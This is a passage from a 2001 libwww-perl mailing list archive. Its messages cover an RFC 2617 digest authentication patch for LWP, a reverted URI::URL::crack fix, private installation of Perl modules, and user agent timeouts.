> I looked in the tests and didn't find anything related to the client
> side of the authentication. Did I miss it, or is it not there? I've
> attached an updated patch, taking into consideration the things you
> pointed out.
> 
> Dave
> 

--=-mjwVE4rHgzZ7Y2mvgyXJ
Content-Type: text/plain
Content-Disposition: attachment; filename=patch5
Content-Transfer-Encoding: 7bit

--- Digest.pm.latest	Fri Jan 19 03:02:43 2001
+++ Digest.pm	Sun Jan 21 00:58:08 2001
@@ -12,6 +12,9 @@
                                                   $request->url, $proxy);
     return $response unless defined $user and defined $pass;
 
+    my $nc = sprintf "%08X", ++$ua->{authen_md5_nonce_count}{$auth_param->{nonce}};
+    my $cnonce = sprintf "%8x", time;
+
     my $uri = $request->url->path_query;
     $uri = "/" unless length $uri;
 
@@ -24,6 +27,10 @@
 
     push(@digest, $auth_param->{nonce});
 
+    if ($auth_param->{qop}) {
+	push(@digest, $nc, $cnonce, $auth_param->{qop});
+    }
+
     $md5->add(join(":", $request->method, $uri));
     push(@digest, $md5->hexdigest);
     $md5->reset;
@@ -33,9 +40,13 @@
     $md5->reset;
 
     my %resp = map { $_ => $auth_param->{$_} } qw(realm nonce opaque);
-    @resp{qw(username uri response)} = ($user, $uri, $digest);
+    @resp{qw(username uri response algorithm)} = ($user, $uri, $digest, "MD5");
+
+    if($auth_param->{qop} eq "auth") {
+	@resp{qw(qop cnonce nc)} = ("auth", $cnonce, $nc);
+    }
 
-    my(@order) = qw(username realm nonce uri response);
+    my(@order) = qw(username realm qop algorithm uri nonce nc cnonce response);
     if($request->method =~ /^(?:POST|PUT)$/) {
 	$md5->add($request->content);
 	my $content = $md5->hexdigest;

--=-mjwVE4rHgzZ7Y2mvgyXJ--

From ams@wiw.org Sun Jan 21 20:17:58 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa23239 for <hyper>;
          21 Jan 2001 20:17 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa27933
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 21 Jan 2001 20:17 PST
Received: (qmail 29021 invoked by uid 508); 22 Jan 2001 04:17:48 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 29011 invoked from network); 22 Jan 2001 04:17:46 -0000
Received: from unknown (HELO lustre.dyn.wiw.org) (203.94.247.139)
  by tmtowtdi.perl.org with SMTP; 22 Jan 2001 04:17:46 -0000
Received: from ams by lustre.dyn.wiw.org with local (Exim 3.16 #1)
	id 14KYS1-00024e-00; Mon, 22 Jan 2001 09:49:29 +0530
Date: Mon, 22 Jan 2001 09:49:29 +0530
From: Abhijit Menon-Sen <ams@wiw.org>
To: libwww@perl.org
Cc: troberts@highwire.stanford.edu
Subject: [URI 1.10] patch to URI/URL.pm
Message-ID: <20010122094929.A7937@lustre.linux.in>
Reply-To: ams@wiw.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i

URI::URL::crack returns $uri->path instead of epath (as it is documented
to do). I've appended a trivial patch to fix the problem (thanks to
Thomas Robertson for reporting it).

- ams

--- URL.pm~	Mon Jan 22 09:33:56 2001
+++ URL.pm	Mon Jan 22 09:34:07 2001
@@ -74,7 +74,7 @@
      $self->_try("password"),
      $self->_try("host"),
      $self->_try("port"),
-     $self->_try("path"),
+     $self->_try("epath"),
      $self->_try("params"),
      $self->_try("query"),
      scalar($self->fragment),

From bobmin@nidlink.com Mon Jan 22 08:57:37 2001
Received: from poindexter.ics.uci.edu
           ( poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa28033 for <hyper>;
          22 Jan 2001 08:57 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa00735
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 22 Jan 2001 08:57 PST
Received: (qmail 2580 invoked by uid 508); 22 Jan 2001 16:57:23 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 2571 invoked from network); 22 Jan 2001 16:57:22 -0000
Received: from wind.imbris.com (216.18.130.7)
  by tmtowtdi.perl.org with SMTP; 22 Jan 2001 16:57:22 -0000
Received: from 4c2w20b (sandpoint-37.imbris.com [216.18.141.37])
	by wind.imbris.com (8.9.3/8.9.3) with ESMTP id IAA00285
	for <libwww@perl.org>; Mon, 22 Jan 2001 08:56:43 -0800 (PST)
From: bobmin@nidlink.com
To: libwww@perl.org
Date: Mon, 22 Jan 2001 08:57:20 -0800
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Off topic question
Message-ID: <3A6BF5F0.19580.132929@localhost>
Priority: normal
In-reply-to: <200101210652.f0L6qFX13670@weasel.spud.net>
References: <lrpuhjfm3m.fsf@caliper.ActiveState.com>
X-mailer: Pegasus Mail for Win32 (v3.12c)

I know this is off topic, but can some perhaps point me to a 
resource online that shows how you can load a perl module into 
your local cgi-bin and use it locally. I'm running into a case of a host 
admin that refuses to install some modules for some of our software. 
It would be a lot easier if I could provide instructions for people that 
want to install our software if the module is missing and the admin is 
uncooperative.

  Thanks in advance.

	Bob Minnick, Northern Webs

Bob Minnick, President, Northern Webs 208.265.0474                                                           |
Mainpage:      http://www.northernwebs.com
Meta Medic:    http://www.northernwebs.com/set/setsimjr.html
SpiderView LC: http://www.northernwebs.com/set/spider_view.html
SpiderView DA: http://www.northernwebs.com/set/spider_view_da.html

From ramirezc@roses.bna.boeing.com Mon Jan 22 09:19:41 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa29857 for <hyper>;
          22 Jan 2001 09:19 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa06772
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 22 Jan 2001 09:19 PST
Received: (qmail 8392 invoked by uid 508); 22 Jan 2001 17:19:28 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 8383 invoked from network); 22 Jan 2001 17:19:28 -0000
Received: from stl-smtpout-01.boeing.com (12.13.247.21)
  by tmtowtdi.perl.org with SMTP; 22 Jan 2001 17:19:28 -0000
Received: from stl-av-01.boeing.com ([192.76.190.6])
	by stl-smtpout-01.boeing.com (8.9.2/8.8.5-M2) with ESMTP id LAA12614
	for <libwww@perl.org>; Mon, 22 Jan 2001 11:19:26 -0600 (CST)
Received: from stl-hub-01.boeing.com (localhost [127.0.0.1])
	by stl-av-01.boeing.com (8.9.3/8.9.2) with ESMTP id LAA24655
	for <libwww@perl.org>; Mon, 22 Jan 2001 11:19:25 -0600 (CST)
Received: from slopok.roses.bna.boeing.com by stl-hub-01.boeing.com with ESMTP; Mon, 22 Jan 2001 11:19:20 -0600
Received: from roses.bna.boeing.com (thorny [141.102.34.157])
	by slopok.roses.bna.boeing.com (8.10.1/8.10.1) with ESMTP id f0MHJHn18482;
	Mon, 22 Jan 2001 09:19:19 -0800 (PST)
Sender: ramirezc@roses.bna.boeing.com
Message-Id: <3A6C6B95.A1244EC@roses.bna.boeing.com>
Date: Mon, 22 Jan 2001 09:19:17 -0800
From: Carlos Ramirez <ramirezc@roses.bna.boeing.com>
Organization: Boeing - Reusable Space Systems
X-Mailer: Mozilla 4.73 [en] (X11; U; SunOS 5.5.1 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: bobmin@nidlink.com
CC: libwww@perl.org
Subject: Re: Off topic question
References: <lrpuhjfm3m.fsf@caliper.ActiveState.com> <3A6BF5F0.19580.132929@localhost>
Content-Type: multipart/alternative;
 boundary="------------BE303CB9B34A3F4F7213667D"

--------------BE303CB9B34A3F4F7213667D
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Use the PREFIX parameter to tell Perl where to install a module like so:

% perl Makefile.PL PREFIX=/home/your/private/dir
% make
% make install

Now tell Perl where to look for your privately installed modules like so:

use lib '/home/your/private/dir';

Hope this helps.

-Carlos





bobmin@nidlink.com wrote:

> I know this is off topic, but can some perhaps point me to a
> resource online that shows how you can load a perl module into
> your local cgi-bin and use it locally. I'm running into a case of a host
> admin that refuses to install some modules for some of our software.
> It would be a lot easier if I could provide instructions for people that
> want to install our software if the module is missing and the admin is
> uncooperative.
>
>   Thanks in advance.
>
>         Bob Minnick, Northern Webs
>
> Bob Minnick, President, Northern Webs 208.265.0474                                                           |
> Mainpage:      http://www.northernwebs.com
> Meta Medic:    http://www.northernwebs.com/set/setsimjr.html
> SpiderView LC: http://www.northernwebs.com/set/spider_view.html
> SpiderView DA: http://www.northernwebs.com/set/spider_view_da.html

--
-----------------------------------------------------------------------
Carlos Ramirez + Boeing + Reusable Space Systems + 714.372.4181
-----------------------------------------------------------------------
-- Don't make me use uppercase



--------------BE303CB9B34A3F4F7213667D--


From steve@4secureorders.com Mon Jan 22 09:47:41 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa02345 for <hyper>;
          22 Jan 2001 09:47 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa14408
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 22 Jan 2001 09:47 PST
Received: (qmail 13280 invoked by uid 508); 22 Jan 2001 17:47:30 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 13271 invoked from network); 22 Jan 2001 17:47:29 -0000
Received: from 42.com (192.41.17.114)
  by tmtowtdi.perl.org with SMTP; 22 Jan 2001 17:47:29 -0000
Received: from 4secureorders.com (mppm44.burgoyne.com [209.197.14.47]) by 42.com (8.8.5) id KAA29233; Mon, 22 Jan 2001 10:47:13 -0700 (MST)
Message-ID: <3A6C720C.30102@4secureorders.com>
Date: Mon, 22 Jan 2001 10:46:52 -0700
From: Steven Rasmussen <steve@4secureorders.com>
Organization: Secure Solutions Inc.
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; m18) Gecko/20001108 Netscape6/6.0
X-Accept-Language: en
MIME-Version: 1.0
To: bobmin@nidlink.com
CC: libwww@perl.org
Subject: Re: Off topic question
References: <lrpuhjfm3m.fsf@caliper.ActiveState.com> <3A6BF5F0.19580.132929@localhost>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

bobmin@nidlink.com wrote:

> I know this is off topic, but can some perhaps point me to a 
> resource online that shows how you can load a perl module into 
> your local cgi-bin and use it locally. I'm running into a case of a host 
> admin that refuses to install some modules for some of our software. 
> It would be a lot easier if I could provide instructions for people that 
> want to install our software if the module is missing and the admin is 
> uncooperative.

Iserver.com has such an online reference to doing this at:
http://www.iserver.com/support/addonhelp/perl/modules/install.html

Since iserver has not password protected this support
info, I don't suppose they'll mind if their non-customers
(called future customers, I think) use the info.

I have been a reseller of theirs for 5+ years and find
that their software support on their site (like the
link above) to be first rate, as are their hosting services.

Hope that helps,

Steve
-- 
Steve Rasmussen          <Steve@4SecureOrders.com>
President
Secure Solutions Inc.    http://4SecureOrders.com

               "Eschew Obfuscation."
-- Terryl Cummins
    (Steve's first software boss, 1981)


From sleepinginseattle@hotmail.com Mon Jan 22 14:28:09 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa10371 for <hyper>;
          22 Jan 2001 14:28 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa00269
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 22 Jan 2001 14:28 PST
Received: (qmail 20769 invoked by uid 508); 22 Jan 2001 22:27:57 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 20760 invoked from network); 22 Jan 2001 22:27:56 -0000
Received: from f131.law11.hotmail.com (HELO hotmail.com) (64.4.17.131)
  by tmtowtdi.perl.org with SMTP; 22 Jan 2001 22:27:56 -0000
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 22 Jan 2001 14:27:30 -0800
Received: from 207.149.72.101 by lw11fd.law11.hotmail.msn.com with HTTP;	Mon, 22 Jan 2001 22:27:30 GMT
X-Originating-IP: [207.149.72.101]
From: C K <sleepinginseattle@hotmail.com>
To: libwww@perl.org
Subject: How do you get libwww-perl.5.48 to timeout?
Date: Mon, 22 Jan 2001 14:27:30 -0800
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F131HK91rGGXP9ww1Wy00006715@hotmail.com>
X-OriginalArrivalTime: 22 Jan 2001 22:27:30.0375 (UTC) FILETIME=[81DEAD70:01C084C2]

I'm setting my user agent, for libwww-perl-5.48, to time out in 15
secs.  But, occassionally some sites are just causing my script to
hang for like 12-20 minutes waiting for a response, example:
http://storebuilder.infospace.com/infospacecom/shop/default.asp

I'm trying to find out why.

So, I tried using alarm() and $SIG{ALRM}.  This helped a little by
timing out according to what I first set alarm(10) to.  But, it's
still hangin on the link shown above.

Has anybody encountered the timeout function for a user agent, not
stopping after a certain period waiting for a response?

Thanks in advance for your advice!
_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From gisle@activestate.com Mon Jan 22 18:41:00 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa09425 for <hyper>;
          22 Jan 2001 18:41 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa09155
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 22 Jan 2001 18:40 PST
Received: (qmail 27002 invoked by uid 508); 23 Jan 2001 02:40:48 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 26992 invoked from network); 23 Jan 2001 02:40:46 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 23 Jan 2001 02:40:46 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id SAA16782;
	Mon, 22 Jan 2001 18:39:38 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: ams@wiw.org
Cc: libwww@perl.org, troberts@highwire.stanford.edu
Subject: Re: [URI 1.10] patch to URI/URL.pm
References: <20010122094929.A7937@lustre.linux.in>
From: Gisle Aas <gisle@activestate.com>
Date: 22 Jan 2001 18:39:38 -0800
In-Reply-To: Abhijit Menon-Sen's message of "Mon, 22 Jan 2001 09:49:29 +0530"
Message-ID: <lr4ryrat5h.fsf@caliper.ActiveState.com>
Lines: 23
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Abhijit Menon-Sen <ams@wiw.org> writes:

> URI::URL::crack returns $uri->path instead of epath (as it is documented
> to do). I've appended a trivial patch to fix the problem (thanks to
> Thomas Robertson for reporting it).

Applied.  Where did you find this documented?

Regards,
Gisle


> --- URL.pm~	Mon Jan 22 09:33:56 2001
> +++ URL.pm	Mon Jan 22 09:34:07 2001
> @@ -74,7 +74,7 @@
>       $self->_try("password"),
>       $self->_try("host"),
>       $self->_try("port"),
> -     $self->_try("path"),
> +     $self->_try("epath"),
>       $self->_try("params"),
>       $self->_try("query"),
>       scalar($self->fragment),

From gisle@activestate.com Mon Jan 22 18:45:43 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa09708 for <hyper>;
          22 Jan 2001 18:45 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa10475
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 22 Jan 2001 18:45 PST
Received: (qmail 28489 invoked by uid 508); 23 Jan 2001 02:45:30 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 28480 invoked from network); 23 Jan 2001 02:45:29 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 23 Jan 2001 02:45:29 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id SAA16833;
	Mon, 22 Jan 2001 18:45:02 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: Dave Dunkin <dave_dunkin@hotmail.com>
Cc: libwww@perl.org
Subject: Re: LWP::Authen::Digest update for RFC 2617
References: <200101190700.f0J70wn01977@weasel.spud.net>
	<lry9w7fpus.fsf@caliper.ActiveState.com>
	<200101191742.f0JHgNj10467@weasel.spud.net>
	<lrpuhjfm3m.fsf@caliper.ActiveState.com>
	<200101210652.f0L6qFX13670@weasel.spud.net>
	<200101220310.f0M3AXm20882@weasel.spud.net>
From: Gisle Aas <gisle@activestate.com>
Date: 22 Jan 2001 18:45:02 -0800
In-Reply-To: Dave Dunkin's message of "21 Jan 2001 21:10:29 -0600"
Message-ID: <lry9w39ec1.fsf@caliper.ActiveState.com>
Lines: 65
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Dave Dunkin <dave_dunkin@hotmail.com> writes:

> Dang it. The previous patch didn't increment the nonce count properly. Here's one that does.

Applied.  Thanks!

Regards,
Gisle

> 
> On 21 Jan 2001 00:52:13 -0600, Dave Dunkin wrote:
> > On 19 Jan 2001 10:11:41 -0800, Gisle Aas wrote:
> > <snip>
> > > You should probably try to avoid warnings from perl about using undef
> > > values if the response did not include any nonce value too.  LWP
> > > really ought to have a test-suite entry for this code too.
> > 
> > The response header must contain the nonce value, according to RFC 2617.
> > I looked in the tests and didn't find anything related to the client
> > side of the authentication. Did I miss it, or is it not there? I've
> > attached an updated patch, taking into consideration the things you
> > pointed out.
> > 
> > Dave
> > 
> 
> --- Digest.pm.latest	Fri Jan 19 03:02:43 2001
> +++ Digest.pm	Sun Jan 21 00:58:08 2001
> @@ -12,6 +12,9 @@
>                                                    $request->url, $proxy);
>      return $response unless defined $user and defined $pass;
>  
> +    my $nc = sprintf "%08X", ++$ua->{authen_md5_nonce_count}{$auth_param->{nonce}};
> +    my $cnonce = sprintf "%8x", time;
> +
>      my $uri = $request->url->path_query;
>      $uri = "/" unless length $uri;
>  
> @@ -24,6 +27,10 @@
>  
>      push(@digest, $auth_param->{nonce});
>  
> +    if ($auth_param->{qop}) {
> +	push(@digest, $nc, $cnonce, $auth_param->{qop});
> +    }
> +
>      $md5->add(join(":", $request->method, $uri));
>      push(@digest, $md5->hexdigest);
>      $md5->reset;
> @@ -33,9 +40,13 @@
>      $md5->reset;
>  
>      my %resp = map { $_ => $auth_param->{$_} } qw(realm nonce opaque);
> -    @resp{qw(username uri response)} = ($user, $uri, $digest);
> +    @resp{qw(username uri response algorithm)} = ($user, $uri, $digest, "MD5");
> +
> +    if($auth_param->{qop} eq "auth") {
> +	@resp{qw(qop cnonce nc)} = ("auth", $cnonce, $nc);
> +    }
>  
> -    my(@order) = qw(username realm nonce uri response);
> +    my(@order) = qw(username realm qop algorithm uri nonce nc cnonce response);
>      if($request->method =~ /^(?:POST|PUT)$/) {
>  	$md5->add($request->content);
>  	my $content = $md5->hexdigest;

From gisle@activestate.com Mon Jan 22 18:49:00 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa09929 for <hyper>;
          22 Jan 2001 18:49 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa11390
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 22 Jan 2001 18:48 PST
Received: (qmail 29751 invoked by uid 508); 23 Jan 2001 02:48:51 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 29741 invoked from network); 23 Jan 2001 02:48:50 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 23 Jan 2001 02:48:50 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id SAA16852;
	Mon, 22 Jan 2001 18:48:23 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: Dave Dunkin <dave_dunkin@hotmail.com>
Cc: libwww@perl.org
Subject: Re: LWP::Authen::Digest update for RFC 2617
References: <200101190700.f0J70wn01977@weasel.spud.net>
	<lry9w7fpus.fsf@caliper.ActiveState.com>
	<200101191742.f0JHgNj10467@weasel.spud.net>
	<lrpuhjfm3m.fsf@caliper.ActiveState.com>
	<200101210652.f0L6qFX13670@weasel.spud.net>
From: Gisle Aas <gisle@activestate.com>
Date: 22 Jan 2001 18:48:23 -0800
In-Reply-To: Dave Dunkin's message of "21 Jan 2001 00:52:13 -0600"
Message-ID: <lru26r9e6g.fsf@caliper.ActiveState.com>
Lines: 18
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Dave Dunkin <dave_dunkin@hotmail.com> writes:

> On 19 Jan 2001 10:11:41 -0800, Gisle Aas wrote:
> <snip>
> > You should probably try to avoid warnings from perl about using undef
> > values if the response did not include any nonce value too.  LWP
> > really ought to have a test-suite entry for this code too.
> 
> The response header must contain the nonce value, according to RFC 2617.

Ok.  Let's assume that then.

> I looked in the tests and didn't find anything related to the client
> side of the authentication. Did I miss it, or is it not there?

It isn't there.  I just wished it was.  Hint, hint!

--Gisle

From ams@wiw.org Mon Jan 22 18:58:37 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa10563 for <hyper>;
          22 Jan 2001 18:58 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa14057
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 22 Jan 2001 18:58 PST
Received: (qmail 31538 invoked by uid 508); 23 Jan 2001 02:58:28 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 31525 invoked from network); 23 Jan 2001 02:58:26 -0000
Received: from dialup-241-241.bol.net.in (HELO lustre.dyn.wiw.org) (203.94.241.241)
  by tmtowtdi.perl.org with SMTP; 23 Jan 2001 02:58:26 -0000
Received: from ams by lustre.dyn.wiw.org with local (Exim 3.16 #1)
	id 14KtgY-0003TC-00
	for libwww@perl.org; Tue, 23 Jan 2001 08:29:54 +0530
Date: Tue, 23 Jan 2001 08:29:54 +0530
From: Abhijit Menon-Sen <ams@wiw.org>
To: libwww@perl.org
Subject: Re: [URI 1.10] patch to URI/URL.pm
Message-ID: <20010123082954.A13248@lustre.linux.in>
Reply-To: ams@wiw.org
References: <20010122094929.A7937@lustre.linux.in> <lr4ryrat5h.fsf@caliper.ActiveState.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <lr4ryrat5h.fsf@caliper.ActiveState.com>; from gisle@ActiveState.com on Mon, Jan 22, 2001 at 06:39:38PM -0800

gisle@ActiveState.com (2001-01-22 18:39:38):
> > URI::URL::crack returns $uri->path instead of epath (as it is documented
> > to do).
> 
> Applied.  Where did you find this documented?

In URI/URL.pm from libwww-perl 5.36.

I had assumed that the bug was in the URI::URL wrapper provided by URI,
but now I see that the original code also behaved contrary to the
documentation. From URI/URL/_generic.pm:

|   my @c = @{$self}{qw(scheme user password host port path params query frag)};

epath is the logical thing to return, but it may break existing code. Do
you think the change is a good idea?

- ams

From gisle@activestate.com Mon Jan 22 19:19:59 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa11679 for <hyper>;
          22 Jan 2001 19:19 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa19928
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 22 Jan 2001 19:19 PST
Received: (qmail 1601 invoked by uid 508); 23 Jan 2001 03:19:44 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 1592 invoked from network); 23 Jan 2001 03:19:44 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 23 Jan 2001 03:19:44 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id TAA17126;
	Mon, 22 Jan 2001 19:19:16 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: ams@wiw.org
Cc: libwww@perl.org
Subject: Re: [URI 1.10] patch to URI/URL.pm
References: <20010122094929.A7937@lustre.linux.in>
	<lr4ryrat5h.fsf@caliper.ActiveState.com>
	<20010123082954.A13248@lustre.linux.in>
From: Gisle Aas <gisle@activestate.com>
Date: 22 Jan 2001 19:19:16 -0800
In-Reply-To: Abhijit Menon-Sen's message of "Tue, 23 Jan 2001 08:29:54 +0530"
Message-ID: <lrhf2rdkgb.fsf@caliper.ActiveState.com>
Lines: 22
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Abhijit Menon-Sen <ams@wiw.org> writes:

> gisle@ActiveState.com (2001-01-22 18:39:38):
> > > URI::URL::crack returns $uri->path instead of epath (as it is documented
> > > to do).
> > 
> > Applied.  Where did you find this documented?
> 
> In URI/URL.pm from libwww-perl 5.36.
> 
> I had assumed that the bug was in the URI::URL wrapper provided by URI,
> but now I see that the original code also behaved contrary to the
> documentation. From URI/URL/_generic.pm:
> 
> |   my @c = @{$self}{qw(scheme user password host port path params query frag)};
> 
> epath is the logical thing to return, but it may break existing code. Do
> you think the change is a good idea?

Then I think it's best to just leave it as it was.  Patch reverted.

--Gisle

From kstar@cpan.org Mon Jan 22 20:02:11 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa13980 for <hyper>;
          22 Jan 2001 20:02 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa01488
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 22 Jan 2001 20:02 PST
Received: (qmail 7750 invoked by uid 508); 23 Jan 2001 04:01:58 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 7741 invoked from network); 23 Jan 2001 04:01:57 -0000
Received: from tympani.smithrenaud.com (HELO staging.sri.net) (166.84.185.58)
  by tmtowtdi.perl.org with SMTP; 23 Jan 2001 04:01:57 -0000
